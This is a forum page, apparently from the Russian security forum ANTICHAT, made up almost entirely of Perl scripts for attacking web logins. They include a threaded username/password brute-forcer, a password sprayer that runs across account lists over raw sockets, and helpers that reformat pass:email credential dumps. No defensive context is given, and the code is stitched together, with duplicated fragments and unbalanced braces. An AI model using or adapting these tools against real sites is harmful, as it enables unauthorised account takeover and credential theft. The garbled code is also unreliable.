ANTICHAT — форум по информационной безопасности, OSINT и технологиям

#!/usr/bin/perl

use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use threads;
print "\n Starting brute...\n";

open my $FL, '<', 'login.txt' or die "No login list: $!\n"; # Логины в login.txt
open my $FP, '<'. 'pass.txt' or die "No password list: $! \n";  # Пароли в  pass.txt
my @login = <$FL>;
my @pass = <$FP>;
close $FP;
close $FL;

#my $login_username = 'login'; # ЛОГИН!
foreach my $login_username (@login) {
  chomp $login_username;
  my $i = 0;
  my @thr;
  my $ua = LWP::UserAgent->new;
  my $cookies = HTTP::Cookies->new (agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
  $ua->cookie_jar ($cookies);
  for my $nowpass (@pass) {
    chomp $nowpass;
    if ($thr[$i]) {
      threads->object ($thr[$i]->tid())->join;
    }
    $thr[$i] = threads->create (\&brute, $login_username, $nowpass);

    $i = ($i + 1) % 5; #Количество потоков  (5)
  }
}
}

foreach(threads->list) { $_->join; }

sub brute()
{

$ua->cookie_jar($cookies);
my $req = $ua->post('http://*.php', {
'st.posted'=>'set',
'username'=>$_[0],
'password'=>$_[1],
'login'=>'%C2%F5%EE%E4'
})->as_string;

my $result = $req =~/302 Found/;
if ($result)
{
print "[+]OK $_[0]:$_[1]\n";
open (G , '>>good.txt');
print G $_[0].":".$_[1]."\n";
close G;
print "PASSWORD FOUND!!!!!\n";
}
else
{
open (G , '>>bad.txt');
print G $login_username."\n";
close G;
print "[-] BAD $_[1]\n";

}}

    $thr[$i] = threads->create (\&brute, $login_username, $nowpass);

    $i = ($i + 1) % 5; #Количество потоков  (5)
  }
}
}

#! /usr/bin/perl -w
use IO::Socket;
use threads;
use threads::shared;
use Fcntl ':flock';

$pwd	 =  shift || '123456'    	; #Пароль
$threads =  shift || 20		        ; #Кол-во потоков
$ml      =  shift || 'acc.txt'		; #Список акков
$fname   = 'good.txt'      		; #Валидные


my $i : shared = 0;
my @trl;
$| =1;

print "Loading...\n";

open (ACS, "<$ml") || die("Could not open acc list file!");
my @acc : shared = <ACS>;
chomp(@acc);
close(ACS);

$size = scalar @acc;
print  "Loaded: ".$size." accs.\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{
	while(@acc)
	{	
		{lock(@acc);$acc = shift @acc;}
		my $sock = sock();
		
		my $data =
		"-----------------------------18847261322183\n".
		"Content-Disposition: form-data; name=\"username\"\n\n".
		"$acc\n".
		"-----------------------------18847261322183\n".
		"Content-Disposition: form-data; name=\"password\"\n\n".
		"$pwd\n".
		"-----------------------------18847261322183\n".
		"Content-Disposition: form-data; name=\"login\"\n\n".
		"Submit\n".
		"-----------------------------18847261322183--\n\n";
		
		my $re = 
		"POST HTTP/1.1\n".
		"Host: \n".
		"User-Agent: Mozilla/4.0\n".
		"Connection: close\n".
		"Referer: \n".
		"Content-Type: multipart/form-data; boundary=---------------------------18847261322183\n".
		"Content-Length: ".length($data)."\n\n".$data;
	
		print $sock $re; 
		read($sock,my $answ,10000);
		
		if($answ =~ /cdb_auth/)
			{
				print "[+] $acc\n";
				open(FILE, ">>$fname") || die("Could not open $fname\n");
				flock(FILE, LOCK_EX);
				print FILE "$acc:$pwd\n";
				flock(FILE, LOCK_UN);
				close(FILE);
			}
		{lock($i);$i++;}
		print "< ".sprintf("%.2f", ($i/$size)*100)."% >\r";
		close($sock);
	}
}

sub sock {
my $sock;
do {
	$sock = new IO::Socket::INET 
		(
		PeerAddr => '',
   		PeerPort => 80, 
   		PeerProto => 'tcp', 
   		TimeOut => 10
		) or print "Can't connect\n";
	} while (!$sock);
return $sock;
}

$pwd	 =  shift || 'pass.txt'    	; #Пароль
$threads =  shift || 20		        ; #Кол-во потоков
$ml      =  shift || 'acc.txt'		; #Список акков
$fname   = 'good.txt'      		; #Валидные


my $i : shared = 0;
my @trl;
$| =1;

print "Loading...\n";

open (ACS, "<$ml") || die("Could not open acc list file!");
open (PWD, "<$pwd") || die("Could not open pass list file!");
my @acc : shared = <ACS>;
my @pwd : shared = <PWD>;
chomp(@acc);
chomp(@pwd);
close(ACS);
close(PWD);


$size = scalar @acc;
$size2 = scalar @pwd;
print  "Loaded: ".$size." accs.\n";
print  "Loaded: ".$size2." pwds.\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

#!/usr/bin/perl  -w

print "Select Option:\n\n";
print "[1]: Reverse Place [ Pass:Email To Email:Pass ]\n\n";
print "Option:";

$option = <STDIN>;
chomp($option);
print "Specify  Input  File: ";
$input_filename = <STDIN>;
chomp($input_filename);
open(INFILE, $input_filename);
print "Specify  Output File: ";
$output_filename = <STDIN>;
chomp($output_filename);
open(OUTFILE, '>' . $output_filename);
if ($option == 1) {
while ($line = <INFILE>) {
$_ = $line;
/(.+?):(.+?)\n/;
$a = $2;
$b = $1;
$a =~ s/^\s+//;
$a =~ s/\s+$//;
$b =~ s/^\s+//;
$b =~ s/\s+$//;
print OUTFILE $a, ':', $b, "\n"; 
}
}

#!/usr/bin/perl -w

print<<HERE;
Select Option:
[1]: Reverse Place [ Pass:Email To Email:Pass ]
HERE

chomp(my $opt = <>);

if($opt == 1)
	{
	 print "Specify input file: ";
	 chomp(my $in = <>);
	 print "Specify output file: ";
	 chomp(my $out = <>);
	 
	 open A, "<", $in || die $in."-".$!;
	 open B, ">>", $out || die $out."-".$!;
	 
	 while(<A>)
		{
		 $_ =~ /(.+?):(.+?)\n/;
		 print B $2.":".$1."\n" if defined $1 && defined $2;
		}
	 
	 close A;
	 close B;
	}
else
	{
	 print "No option has been specified\n";
	}